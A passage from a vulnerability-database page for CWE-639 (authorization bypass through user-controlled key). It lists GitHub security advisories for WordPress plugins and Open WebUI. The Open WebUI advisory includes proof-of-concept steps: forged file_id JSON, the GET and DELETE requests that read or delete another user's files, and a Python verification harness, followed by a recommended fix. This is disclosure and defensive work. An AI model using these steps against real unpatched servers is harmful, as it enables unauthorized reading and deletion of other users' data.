Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

3234 vulnerabilities reference this CWE, most recent first.

GHSA-VQRX-XJ77-J7V9

Vulnerability from github – Published: 2025-12-30 12:30 – Updated: 2026-01-20 15:32
VLAI
Details

Authorization Bypass Through User-Controlled Key vulnerability in Select-Themes Struktur struktur allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Struktur: from n/a through <= 2.5.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-69029"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-30T11:16:01Z",
    "severity": "MODERATE"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in Select-Themes Struktur struktur allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Struktur: from n/a through \u003c= 2.5.1.",
  "id": "GHSA-vqrx-xj77-j7v9",
  "modified": "2026-01-20T15:32:46Z",
  "published": "2025-12-30T12:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69029"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Theme/struktur/vulnerability/wordpress-struktur-theme-2-5-1-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Theme/struktur/vulnerability/wordpress-struktur-theme-2-5-1-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VQXV-VC5V-PM35

Vulnerability from github – Published: 2025-09-10 15:31 – Updated: 2025-09-10 15:31
VLAI
Details

The Resideo Plugin for Resideo - Real Estate WordPress Theme plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 2.5.4. This is due to the plugin not properly validating a user's identity prior to updating their details like email. This makes it possible for authenticated attackers, with Subscriber-level access and above, to change arbitrary user's email addresses, including administrators, and leverage that to reset the user's password and gain access to their account.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-7718"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-10T13:15:37Z",
    "severity": "HIGH"
  },
  "details": "The Resideo Plugin for Resideo - Real Estate WordPress Theme plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 2.5.4. This is due to the plugin not properly validating a user\u0027s identity prior to updating their details like email. This makes it possible for authenticated attackers, with Subscriber-level access and above, to change arbitrary user\u0027s email addresses, including administrators, and leverage that to reset the user\u0027s password and gain access to their account.",
  "id": "GHSA-vqxv-vc5v-pm35",
  "modified": "2025-09-10T15:31:17Z",
  "published": "2025-09-10T15:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7718"
    },
    {
      "type": "WEB",
      "url": "https://themeforest.net/item/resideo-real-estate-wordpress-theme/27791406"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f8375ecf-e64b-4649-9341-fa45bf5556c3?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VR7V-HP4J-6H8G

Vulnerability from github – Published: 2026-06-06 06:30 – Updated: 2026-06-06 06:30
VLAI
Details

The Essential Addons for Elementor – Popular Elementor Templates & Widgets plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 6.6.4 via the ajax_load_more function due to insufficient restrictions on which posts can be included. This makes it possible for unauthenticated attackers to extract data from password protected, private, or draft posts that they should not have access to.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-7665"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-06T04:17:40Z",
    "severity": "MODERATE"
  },
  "details": "The Essential Addons for Elementor \u2013 Popular Elementor Templates \u0026 Widgets plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 6.6.4 via the ajax_load_more function due to insufficient restrictions on which posts can be included. This makes it possible for unauthenticated attackers to extract data from password protected, private, or draft posts that they should not have access to.",
  "id": "GHSA-vr7v-hp4j-6h8g",
  "modified": "2026-06-06T06:30:29Z",
  "published": "2026-06-06T06:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7665"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/essential-addons-for-elementor-lite/tags/6.5.13/includes/Traits/Ajax_Handler.php#L106"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/essential-addons-for-elementor-lite/tags/6.5.13/includes/Traits/Ajax_Handler.php#L1601"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/essential-addons-for-elementor-lite/tags/6.5.13/includes/Traits/Ajax_Handler.php#L197"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/essential-addons-for-elementor-lite/tags/6.5.13/includes/Traits/Ajax_Handler.php#L292"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/essential-addons-for-elementor-lite/tags/6.6.3/includes/Traits/Ajax_Handler.php#L106"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/essential-addons-for-elementor-lite/tags/6.6.3/includes/Traits/Ajax_Handler.php#L1601"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/essential-addons-for-elementor-lite/tags/6.6.3/includes/Traits/Ajax_Handler.php#L197"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/essential-addons-for-elementor-lite/tags/6.6.3/includes/Traits/Ajax_Handler.php#L292"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/essential-addons-for-elementor-lite/trunk/includes/Traits/Ajax_Handler.php#L106"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/essential-addons-for-elementor-lite/trunk/includes/Traits/Ajax_Handler.php#L1601"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/essential-addons-for-elementor-lite/trunk/includes/Traits/Ajax_Handler.php#L197"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/essential-addons-for-elementor-lite/trunk/includes/Traits/Ajax_Handler.php#L292"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3541534%40essential-addons-for-elementor-lite\u0026new=3541534%40essential-addons-for-elementor-lite\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/861ece65-bee7-4124-b1a8-de9fb0c1cbc7?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VRF4-HV45-FQ4J

Vulnerability from github – Published: 2024-06-07 15:30 – Updated: 2026-04-08 18:33
VLAI
Details

The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.7.1 via the 'attempt_delete' function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Instructor-level access and above, to delete arbitrary quiz attempts.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-5438"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-07T13:15:50Z",
    "severity": "MODERATE"
  },
  "details": "The Tutor LMS \u2013 eLearning and online course solution plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.7.1 via the \u0027attempt_delete\u0027 function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Instructor-level access and above, to delete arbitrary quiz attempts.",
  "id": "GHSA-vrf4-hv45-fq4j",
  "modified": "2026-04-08T18:33:22Z",
  "published": "2024-06-07T15:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5438"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/tutor/trunk/classes/Quiz.php#L1806"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3098465"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/00ec14d4-d97b-40b1-b61b-05e911f49bb0?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VRHC-3FR6-PC3C

Vulnerability from github – Published: 2026-06-17 14:12 – Updated: 2026-06-17 14:12
VLAI
Summary
Open WebUI: Forged chat-file link allows cross-user file read and deletion
Details

Summary

Open WebUI v0.9.5 lets an authenticated user attach arbitrary file_id values to their own chat message without checking whether they own or can read those files. If the attacker then shares that chat and grants themselves read access, has_access_to_file() treats the victim file as accessible through the shared chat, and the file endpoints read or delete the victim file.

Impact

Security boundary crossed: file confidentiality and integrity.

An authenticated attacker who knows or obtains a victim file_id can make Open WebUI authorize, through an attacker-owned shared chat:

  • reading the victim file via GET /api/v1/files/{id}/content, and
  • deleting the victim file via DELETE /api/v1/files/{id}.

Root Cause

Client-controlled message file IDs are persisted without file authorization checks:

# backend/open_webui/main.py
await Chats.insert_chat_files(
    chat_id,
    user_message.get('id'),
    [
        file_item.get('id')
        for file_item in user_message_files
        if file_item.get('type') == 'file'
    ],
    user.id,
)

insert_chat_files() stores the provided IDs directly:

# backend/open_webui/models/chats.py
ChatFileModel(
    user_id=user_id,
    chat_id=chat_id,
    message_id=message_id,
    file_id=file_id,
)

Later, file authorization trusts shared-chat associations:

# backend/open_webui/utils/access_control/files.py
shared_chat_ids = await Chats.get_shared_chat_ids_by_file_id(file_id, db=db)
if shared_chat_ids:
    accessible_ids = await AccessGrants.get_accessible_resource_ids(
        user_id=user.id,
        resource_type='shared_chat',
        resource_ids=shared_chat_ids,
        permission='read',
    )
    if accessible_ids:
        return True

The download endpoint uses this helper:

# backend/open_webui/routers/files.py
if file.user_id == user.id or user.role == 'admin' or await has_access_to_file(id, 'read', user, db=db):
    return FileResponse(file_path, ...)

On affected versions this shared-chat branch is not gated on access_type (the grant lookup hardcodes permission='read', but nothing checks that the request itself is a read). The same forged association therefore also satisfies the write check that DELETE /api/v1/files/{id} performs, so the attacker can delete the victim file, not only read it.

Because the shared-chat branch ignores access_type, the deletion does not require the forged association at all. A user granted only read access to a chat that the owner legitimately shared can delete the owner's own files attached to that chat via DELETE /api/v1/files/{id}, since the read grant satisfies the write check. The forged association (above) broadens this to any victim file_id; a legitimate read-only share reaches it without any forgery.

PoC

  1. Attacker creates or uses a chat they own.
  2. Attacker sends POST /api/chat/completions or POST /api/v1/chat/completions where top-level user_message.files contains:
[
  {
    "type": "file",
    "id": "VICTIM_FILE_ID"
  }
]
  1. Backend inserts a chat_file row linking the attacker chat to VICTIM_FILE_ID.
  2. Attacker shares the chat and grants read access to themselves or public access.
  3. Attacker requests:
GET /api/v1/files/VICTIM_FILE_ID/content

Expected: 404/403 because the attacker does not own or otherwise have access to the victim file.

Actual: file authorization succeeds through the attacker-controlled shared-chat association.

Local Verification

I verified the bug locally with Open WebUI's real Chats.insert_chat_files() and real has_access_to_file() implementations. The harness uses fake DB adapters only to avoid this environment's async SQLite hang; the security-sensitive logic under test is the application code.

Result:

{
  "before_chat_file_link_attacker_can_read": false,
  "insert_sink": {
    "db_commit_called": true,
    "insert_returned_rows": true,
    "stored_chat_ids": [
      "attacker-chat"
    ],
    "stored_file_ids": [
      "victim-file"
    ],
    "stored_user_ids": [
      "attacker"
    ]
  },
  "after_attacker_shared_chat_links_victim_file_attacker_can_read": true,
  "confirmed": true
}

PoC:

#!/usr/bin/env python3
"""
Verifier for chat-file link authorization bypass.

This intentionally avoids the app DB because the local Python 3.13 async SQLite
stack hangs in this checkout. It still executes Open WebUI's real
has_access_to_file() implementation, with fake model adapters standing in for
the DB tables.
"""

from __future__ import annotations

import asyncio
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace


def prepare_imports() -> None:
    repo_root = Path(__file__).resolve().parents[1]
    sys.path.insert(0, str(repo_root / "backend"))
    os.environ["VECTOR_DB"] = "none"

    class DummyTyper:
        def command(self, *args, **kwargs):
            return lambda fn: fn

    sys.modules.setdefault(
        "typer",
        types.SimpleNamespace(
            Typer=lambda *args, **kwargs: DummyTyper(),
            Option=lambda *args, **kwargs: None,
            echo=lambda *args, **kwargs: None,
            Exit=Exception,
        ),
    )
    sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))


class FakeFiles:
    async def get_file_by_id(self, file_id, db=None):
        if file_id == "victim-file":
            return SimpleNamespace(
                id="victim-file",
                user_id="victim",
                meta={},
            )
        return None


class FakeKnowledges:
    async def get_knowledges_by_file_id(self, file_id, db=None):
        return []


class FakeGroups:
    async def get_groups_by_member_id(self, user_id, db=None):
        return []


class FakeChannels:
    async def get_channels_by_file_id_and_user_id(self, file_id, user_id, db=None):
        return []


class FakeModels:
    async def get_models_by_user_id(self, user_id, permission="read", db=None):
        return []


class FakeChats:
    def __init__(self, linked: bool):
        self.linked = linked

    async def get_shared_chat_ids_by_file_id(self, file_id, db=None):
        if self.linked and file_id == "victim-file":
            # This mirrors a chat_file row tying victim-file to the attacker's
            # shared chat. The real insertion sink is Chats.insert_chat_files().
            return ["attacker-chat"]
        return []


class FakeAccessGrants:
    def __init__(self, granted: bool):
        self.granted = granted

    async def has_access(self, *args, **kwargs):
        return False

    async def get_accessible_resource_ids(
        self,
        user_id,
        resource_type,
        resource_ids,
        permission="read",
        user_group_ids=None,
        db=None,
    ):
        if (
            self.granted
            and user_id == "attacker"
            and resource_type == "shared_chat"
            and "attacker-chat" in resource_ids
            and permission == "read"
        ):
            return {"attacker-chat"}
        return set()


class FakeDb:
    def __init__(self):
        self.added = []
        self.committed = False

    def add_all(self, rows):
        self.added.extend(rows)

    async def commit(self):
        self.committed = True


class FakeDbContext:
    def __init__(self, db):
        self.db = db

    async def __aenter__(self):
        return self.db

    async def __aexit__(self, exc_type, exc, tb):
        return False


async def verify_insert_sink_accepts_victim_file_id():
    import open_webui.models.chats as chats_module

    fake_db = FakeDb()
    chats_table = chats_module.Chats

    original_context = chats_module.get_async_db_context
    original_existing = chats_table.get_chat_files_by_chat_id_and_message_id

    async def fake_existing(self, chat_id, message_id, db=None):
        return []

    try:
        chats_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)
        chats_table.get_chat_files_by_chat_id_and_message_id = types.MethodType(fake_existing, chats_table)

        inserted = await chats_table.insert_chat_files(
            chat_id="attacker-chat",
            message_id="attacker-message",
            file_ids=["victim-file"],
            user_id="attacker",
        )
    finally:
        chats_module.get_async_db_context = original_context
        chats_table.get_chat_files_by_chat_id_and_message_id = original_existing

    return {
        "insert_returned_rows": bool(inserted),
        "db_commit_called": fake_db.committed,
        "stored_file_ids": [getattr(row, "file_id", None) for row in fake_db.added],
        "stored_chat_ids": [getattr(row, "chat_id", None) for row in fake_db.added],
        "stored_user_ids": [getattr(row, "user_id", None) for row in fake_db.added],
    }


async def main() -> None:
    prepare_imports()

    import open_webui.utils.access_control.files as file_acl

    attacker = SimpleNamespace(id="attacker", role="user")

    original = {
        "Files": file_acl.Files,
        "Knowledges": file_acl.Knowledges,
        "Groups": file_acl.Groups,
        "Channels": file_acl.Channels,
        "Chats": file_acl.Chats,
        "Models": file_acl.Models,
        "AccessGrants": file_acl.AccessGrants,
    }

    try:
        file_acl.Files = FakeFiles()
        file_acl.Knowledges = FakeKnowledges()
        file_acl.Groups = FakeGroups()
        file_acl.Channels = FakeChannels()
        file_acl.Models = FakeModels()

        file_acl.Chats = FakeChats(linked=False)
        file_acl.AccessGrants = FakeAccessGrants(granted=False)
        before = await file_acl.has_access_to_file("victim-file", "read", attacker)

        file_acl.Chats = FakeChats(linked=True)
        file_acl.AccessGrants = FakeAccessGrants(granted=True)
        after = await file_acl.has_access_to_file("victim-file", "read", attacker)

        insert_sink = await verify_insert_sink_accepts_victim_file_id()

        result = {
            "victim_file_id": "victim-file",
            "victim_file_owner": "victim",
            "attacker_id": "attacker",
            "attacker_owns_file": False,
            "insert_sink": insert_sink,
            "before_chat_file_link_attacker_can_read": before,
            "after_attacker_shared_chat_links_victim_file_attacker_can_read": after,
            "confirmed": (
                before is False
                and after is True
                and insert_sink["insert_returned_rows"] is True
                and insert_sink["stored_file_ids"] == ["victim-file"]
                and insert_sink["stored_user_ids"] == ["attacker"]
            ),
            "sink": "Chats.insert_chat_files() accepts caller-supplied file_ids without checking file ownership/read access",
        }
        print(json.dumps(result, indent=2, sort_keys=True))
    finally:
        for name, value in original.items():
            setattr(file_acl, name, value)


if __name__ == "__main__":
    asyncio.run(main())

Recommended Fix

Before calling Chats.insert_chat_files(), filter user_message.files to files the caller owns or can read:

allowed_file_ids = []
for file_id in requested_file_ids:
    file = await Files.get_file_by_id(file_id)
    if file and (file.user_id == user.id or user.role == 'admin' or await has_access_to_file(file_id, 'read', user)):
        allowed_file_ids.append(file_id)

Also consider enforcing this inside Chats.insert_chat_files() so future call sites cannot create unauthorized chat_file associations.

Additionally, the shared-chat branch of has_access_to_file() should honour access_type, so a read grant cannot satisfy the write check used by file deletion.

Consolidation

Per Open WebUI's Report Handling policy this consolidates independent reports of the same chat-file authorization flaws into one advisory and CVE:

  • Cross-user file READ via a forged chat_file association (GET /api/v1/files/{id}/content): @0xEr3n. Fixed by #25054, which gates Chats.insert_chat_files() so a caller can only link files they own or can read.
  • Cross-user file DELETION via the shared-chat branch ignoring access_type (DELETE /api/v1/files/{id}): reported independently by @oxsignal (earliest filing; reached via a legitimately read-only-shared chat, no forged association needed), by @0xEr3n (via the forged association), and by @5yu4n. Fixed by #24755, which makes the shared-chat branch honour access_type.

Affected: <= 0.9.5. Patched: >= 0.9.6. One CVE for the consolidated advisory.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54010"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T14:12:20Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nOpen WebUI `v0.9.5` lets an authenticated user attach arbitrary `file_id` values to their own chat message without checking whether they own or can read those files. If the attacker then shares that chat and grants themselves read access, `has_access_to_file()` treats the victim file as accessible through the shared chat, and the file endpoints read or delete the victim file.\n\n## Impact\n\nSecurity boundary crossed: file confidentiality and integrity.\n\nAn authenticated attacker who knows or obtains a victim `file_id` can make Open WebUI authorize, through an attacker-owned shared chat:\n\n- reading the victim file via `GET /api/v1/files/{id}/content`, and\n- deleting the victim file via `DELETE /api/v1/files/{id}`.\n\n## Root Cause\n\nClient-controlled message file IDs are persisted without file authorization checks:\n\n```python\n# backend/open_webui/main.py\nawait Chats.insert_chat_files(\n    chat_id,\n    user_message.get(\u0027id\u0027),\n    [\n        file_item.get(\u0027id\u0027)\n        for file_item in user_message_files\n        if file_item.get(\u0027type\u0027) == \u0027file\u0027\n    ],\n    user.id,\n)\n```\n\n`insert_chat_files()` stores the provided IDs directly:\n\n```python\n# backend/open_webui/models/chats.py\nChatFileModel(\n    user_id=user_id,\n    chat_id=chat_id,\n    message_id=message_id,\n    file_id=file_id,\n)\n```\n\nLater, file authorization trusts shared-chat associations:\n\n```python\n# backend/open_webui/utils/access_control/files.py\nshared_chat_ids = await Chats.get_shared_chat_ids_by_file_id(file_id, db=db)\nif shared_chat_ids:\n    accessible_ids = await AccessGrants.get_accessible_resource_ids(\n        user_id=user.id,\n        resource_type=\u0027shared_chat\u0027,\n        resource_ids=shared_chat_ids,\n        permission=\u0027read\u0027,\n    )\n    if accessible_ids:\n        return True\n```\n\nThe download endpoint uses this helper:\n\n```python\n# backend/open_webui/routers/files.py\nif file.user_id == user.id or user.role == \u0027admin\u0027 or await has_access_to_file(id, \u0027read\u0027, user, db=db):\n    return FileResponse(file_path, ...)\n```\n\nOn affected versions this shared-chat branch is not gated on `access_type` (the grant lookup hardcodes `permission=\u0027read\u0027`, but nothing checks that the request itself is a read). The same forged association therefore also satisfies the `write` check that `DELETE /api/v1/files/{id}` performs, so the attacker can delete the victim file, not only read it.\n\nBecause the shared-chat branch ignores `access_type`, the deletion does not require the forged association at all. A user granted only **read** access to a chat that the owner legitimately shared can delete the owner\u0027s own files attached to that chat via `DELETE /api/v1/files/{id}`, since the read grant satisfies the `write` check. The forged association (above) broadens this to any victim `file_id`; a legitimate read-only share reaches it without any forgery.\n\n## PoC\n\n1. Attacker creates or uses a chat they own.\n2. Attacker sends `POST /api/chat/completions` or `POST /api/v1/chat/completions` where top-level `user_message.files` contains:\n\n```json\n[\n  {\n    \"type\": \"file\",\n    \"id\": \"VICTIM_FILE_ID\"\n  }\n]\n```\n\n3. Backend inserts a `chat_file` row linking the attacker chat to `VICTIM_FILE_ID`.\n4. Attacker shares the chat and grants read access to themselves or public access.\n5. Attacker requests:\n\n```text\nGET /api/v1/files/VICTIM_FILE_ID/content\n```\n\nExpected: 404/403 because the attacker does not own or otherwise have access to the victim file.\n\nActual: file authorization succeeds through the attacker-controlled shared-chat association.\n\n## Local Verification\n\nI verified the bug locally with Open WebUI\u0027s real `Chats.insert_chat_files()` and real `has_access_to_file()` implementations. The harness uses fake DB adapters only to avoid this environment\u0027s async SQLite hang; the security-sensitive logic under test is the application code.\n\nResult:\n\n```json\n{\n  \"before_chat_file_link_attacker_can_read\": false,\n  \"insert_sink\": {\n    \"db_commit_called\": true,\n    \"insert_returned_rows\": true,\n    \"stored_chat_ids\": [\n      \"attacker-chat\"\n    ],\n    \"stored_file_ids\": [\n      \"victim-file\"\n    ],\n    \"stored_user_ids\": [\n      \"attacker\"\n    ]\n  },\n  \"after_attacker_shared_chat_links_victim_file_attacker_can_read\": true,\n  \"confirmed\": true\n}\n```\n\nPoC:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVerifier for chat-file link authorization bypass.\n\nThis intentionally avoids the app DB because the local Python 3.13 async SQLite\nstack hangs in this checkout. It still executes Open WebUI\u0027s real\nhas_access_to_file() implementation, with fake model adapters standing in for\nthe DB tables.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport json\nimport os\nimport sys\nimport types\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\n\ndef prepare_imports() -\u003e None:\n    repo_root = Path(__file__).resolve().parents[1]\n    sys.path.insert(0, str(repo_root / \"backend\"))\n    os.environ[\"VECTOR_DB\"] = \"none\"\n\n    class DummyTyper:\n        def command(self, *args, **kwargs):\n            return lambda fn: fn\n\n    sys.modules.setdefault(\n        \"typer\",\n        types.SimpleNamespace(\n            Typer=lambda *args, **kwargs: DummyTyper(),\n            Option=lambda *args, **kwargs: None,\n            echo=lambda *args, **kwargs: None,\n            Exit=Exception,\n        ),\n    )\n    sys.modules.setdefault(\"uvicorn\", types.SimpleNamespace(run=lambda *args, **kwargs: None))\n\n\nclass FakeFiles:\n    async def get_file_by_id(self, file_id, db=None):\n        if file_id == \"victim-file\":\n            return SimpleNamespace(\n                id=\"victim-file\",\n                user_id=\"victim\",\n                meta={},\n            )\n        return None\n\n\nclass FakeKnowledges:\n    async def get_knowledges_by_file_id(self, file_id, db=None):\n        return []\n\n\nclass FakeGroups:\n    async def get_groups_by_member_id(self, user_id, db=None):\n        return []\n\n\nclass FakeChannels:\n    async def get_channels_by_file_id_and_user_id(self, file_id, user_id, db=None):\n        return []\n\n\nclass FakeModels:\n    async def get_models_by_user_id(self, user_id, permission=\"read\", db=None):\n        return []\n\n\nclass FakeChats:\n    def __init__(self, linked: bool):\n        self.linked = linked\n\n    async def get_shared_chat_ids_by_file_id(self, file_id, db=None):\n        if self.linked and file_id == \"victim-file\":\n            # This mirrors a chat_file row tying victim-file to the attacker\u0027s\n            # shared chat. The real insertion sink is Chats.insert_chat_files().\n            return [\"attacker-chat\"]\n        return []\n\n\nclass FakeAccessGrants:\n    def __init__(self, granted: bool):\n        self.granted = granted\n\n    async def has_access(self, *args, **kwargs):\n        return False\n\n    async def get_accessible_resource_ids(\n        self,\n        user_id,\n        resource_type,\n        resource_ids,\n        permission=\"read\",\n        user_group_ids=None,\n        db=None,\n    ):\n        if (\n            self.granted\n            and user_id == \"attacker\"\n            and resource_type == \"shared_chat\"\n            and \"attacker-chat\" in resource_ids\n            and permission == \"read\"\n        ):\n            return {\"attacker-chat\"}\n        return set()\n\n\nclass FakeDb:\n    def __init__(self):\n        self.added = []\n        self.committed = False\n\n    def add_all(self, rows):\n        self.added.extend(rows)\n\n    async def commit(self):\n        self.committed = True\n\n\nclass FakeDbContext:\n    def __init__(self, db):\n        self.db = db\n\n    async def __aenter__(self):\n        return self.db\n\n    async def __aexit__(self, exc_type, exc, tb):\n        return False\n\n\nasync def verify_insert_sink_accepts_victim_file_id():\n    import open_webui.models.chats as chats_module\n\n    fake_db = FakeDb()\n    chats_table = chats_module.Chats\n\n    original_context = chats_module.get_async_db_context\n    original_existing = chats_table.get_chat_files_by_chat_id_and_message_id\n\n    async def fake_existing(self, chat_id, message_id, db=None):\n        return []\n\n    try:\n        chats_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)\n        chats_table.get_chat_files_by_chat_id_and_message_id = types.MethodType(fake_existing, chats_table)\n\n        inserted = await chats_table.insert_chat_files(\n            chat_id=\"attacker-chat\",\n            message_id=\"attacker-message\",\n            file_ids=[\"victim-file\"],\n            user_id=\"attacker\",\n        )\n    finally:\n        chats_module.get_async_db_context = original_context\n        chats_table.get_chat_files_by_chat_id_and_message_id = original_existing\n\n    return {\n        \"insert_returned_rows\": bool(inserted),\n        \"db_commit_called\": fake_db.committed,\n        \"stored_file_ids\": [getattr(row, \"file_id\", None) for row in fake_db.added],\n        \"stored_chat_ids\": [getattr(row, \"chat_id\", None) for row in fake_db.added],\n        \"stored_user_ids\": [getattr(row, \"user_id\", None) for row in fake_db.added],\n    }\n\n\nasync def main() -\u003e None:\n    prepare_imports()\n\n    import open_webui.utils.access_control.files as file_acl\n\n    attacker = SimpleNamespace(id=\"attacker\", role=\"user\")\n\n    original = {\n        \"Files\": file_acl.Files,\n        \"Knowledges\": file_acl.Knowledges,\n        \"Groups\": file_acl.Groups,\n        \"Channels\": file_acl.Channels,\n        \"Chats\": file_acl.Chats,\n        \"Models\": file_acl.Models,\n        \"AccessGrants\": file_acl.AccessGrants,\n    }\n\n    try:\n        file_acl.Files = FakeFiles()\n        file_acl.Knowledges = FakeKnowledges()\n        file_acl.Groups = FakeGroups()\n        file_acl.Channels = FakeChannels()\n        file_acl.Models = FakeModels()\n\n        file_acl.Chats = FakeChats(linked=False)\n        file_acl.AccessGrants = FakeAccessGrants(granted=False)\n        before = await file_acl.has_access_to_file(\"victim-file\", \"read\", attacker)\n\n        file_acl.Chats = FakeChats(linked=True)\n        file_acl.AccessGrants = FakeAccessGrants(granted=True)\n        after = await file_acl.has_access_to_file(\"victim-file\", \"read\", attacker)\n\n        insert_sink = await verify_insert_sink_accepts_victim_file_id()\n\n        result = {\n            \"victim_file_id\": \"victim-file\",\n            \"victim_file_owner\": \"victim\",\n            \"attacker_id\": \"attacker\",\n            \"attacker_owns_file\": False,\n            \"insert_sink\": insert_sink,\n            \"before_chat_file_link_attacker_can_read\": before,\n            \"after_attacker_shared_chat_links_victim_file_attacker_can_read\": after,\n            \"confirmed\": (\n                before is False\n                and after is True\n                and insert_sink[\"insert_returned_rows\"] is True\n                and insert_sink[\"stored_file_ids\"] == [\"victim-file\"]\n                and insert_sink[\"stored_user_ids\"] == [\"attacker\"]\n            ),\n            \"sink\": \"Chats.insert_chat_files() accepts caller-supplied file_ids without checking file ownership/read access\",\n        }\n        print(json.dumps(result, indent=2, sort_keys=True))\n    finally:\n        for name, value in original.items():\n            setattr(file_acl, name, value)\n\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\n## Recommended Fix\n\nBefore calling `Chats.insert_chat_files()`, filter `user_message.files` to files the caller owns or can read:\n\n```python\nallowed_file_ids = []\nfor file_id in requested_file_ids:\n    file = await Files.get_file_by_id(file_id)\n    if file and (file.user_id == user.id or user.role == \u0027admin\u0027 or await has_access_to_file(file_id, \u0027read\u0027, user)):\n        allowed_file_ids.append(file_id)\n```\n\nAlso consider enforcing this inside `Chats.insert_chat_files()` so future call sites cannot create unauthorized `chat_file` associations.\n\nAdditionally, the shared-chat branch of 